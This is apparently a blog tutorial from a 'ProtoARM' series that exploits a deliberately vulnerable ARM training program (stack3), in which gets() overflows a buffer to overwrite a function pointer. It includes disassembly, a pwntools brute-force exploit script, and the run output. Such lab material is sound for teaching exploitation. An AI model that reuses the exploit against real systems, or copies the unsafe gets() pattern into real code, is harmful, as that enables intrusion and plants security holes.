In this episode of the ProtoARM series, we'll exploit a vulnerable program to change the 'normal' control flow. This is the vulnerable source:
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
void win()
{
puts("congrats\n");
}
int main()
{
volatile int (*fp)() = NULL;
char buffer[64];
gets(buffer);
if (fp)
{
printf("jump to 0x%08x\n", fp);
fp();
}
}
Let's read the assembly of those two functions:
win function:
00000564 <win>:
prolog:
564: b580 push {r7, lr}
566: af00 add r7, sp, #0
good_boy:
568: 4b03 ldr r3, [pc, #12] ; (578 <win+0x14>)
56a: 447b add r3, pc
56c: 4618 mov r0, r3
56e: f7ff ef5a blx 424 <puts@plt>
572: bf00 nop
epilog:
574: bd80 pop {r7, pc}
576: bf00 nop
string_pool:
578: 00000096
This function simply prints a message. Its address is 0x0564, there is some padding in the form of nop
s.
main function:
0000057c <main>:
prolog:
57c: b580 push {r7, lr}
57e: b092 sub sp, #72 ; 0x48
580: af00 add r7, sp, #0
582: 2300 movs r3, #0
584: 647b str r3, [r7, #68] ; fp = NULL
586: 1d3b adds r3, r7, #4
588: 4618 mov r0, r3 ; r0 = buffer
58a: f7ff ef46 blx 418 <gets@plt> ; gets(buffer);
58e: 6c7b ldr r3, [r7, #68] ; r3 = fp
590: 2b00 cmp r3, #0 ; fp == NULL?
592: d007 beq.n 5a4 <main+0x28>
594: 6c79 ldr r1, [r7, #68] ; l1 = fp
596: 4b06 ldr r3, [pc, #24] ; (5b0 <main+0x34>)
598: 447b add r3, pc
59a: 4618 mov r0, r3 ; r0 = fmt
59c: f7ff ef36 blx 40c <printf@plt> ; printf("jump to 0x%08\n", fp);
5a0: 6c7b ldr r3, [r7, #68] ; r3 = fp
5a2: 4798 blx r3 ; jump to fp
exit_success:
5a4: 2300 movs r3, #0
5a6: 4618 mov r0, r3
epilog:
5a8: 3748 adds r7, #72 ; 0x48
5aa: 46bd mov sp, r7
5ac: bd80 pop {r7, pc}
5ae: bf00 nop
5b0: 00000074 andeq r0, r0, r4, ror r0
A buffer
overflow will overwrite the function pointer allowing the user to jump to an arbitrary location.
Here is the exploit we can use. The payload contains sufficient amout of A's to fill the buffer and the address of win
so it properly overwrites the fp
variable:
#!/usr/bin/env python3
import struct
from pwn import *
socket = ssh(host='192.168.0.1', user='root', password='')
i = 60
while True:
i += 1
print('test', i)
payload = b'A' * i + struct.pack('<I', 0x00010435)
process = socket.process('/root/protostarm/stack3/stack3')
process.sendline(payload)
res = ""
while True:
try:
res += process.recv().decode()
except:
break
print(res)
if 'congrats' in res:
break
process.close()
socket.close()
user@Azeria-Lab-VM:~/protoarm/stack3$ ./exploit.py
[+] Connecting to 192.168.0.1 on port 22: Done
[*] root@192.168.0.1:
Distro Debian testing
OS: linux
Arch: arm
Version: 4.9.0
ASLR: Enabled
test 61
[+] Starting remote process '/root/protostarm/stack3/stack3' on 192.168.0.1: pid 1565
[*] Stopped remote process 'stack3' on 192.168.0.1 (pid 1565)
test 62
[+] Starting remote process '/root/protostarm/stack3/stack3' on 192.168.0.1: pid 1569
jump to 0x00000001
[*] Stopped remote process 'stack3' on 192.168.0.1 (pid 1569)
test 63
[+] Starting remote process '/root/protostarm/stack3/stack3' on 192.168.0.1: pid 1573
jump to 0x00000104
[*] Stopped remote process 'stack3' on 192.168.0.1 (pid 1573)
test 64
[+] Starting remote process '/root/protostarm/stack3/stack3' on 192.168.0.1: pid 1577
jump to 0x00010435
congrats
[*] Closed connection to '192.168.0.1'
Congrats! Next we'll discover how we can modify control flow without fp
, but directly using the pc
register.
Top comments (0)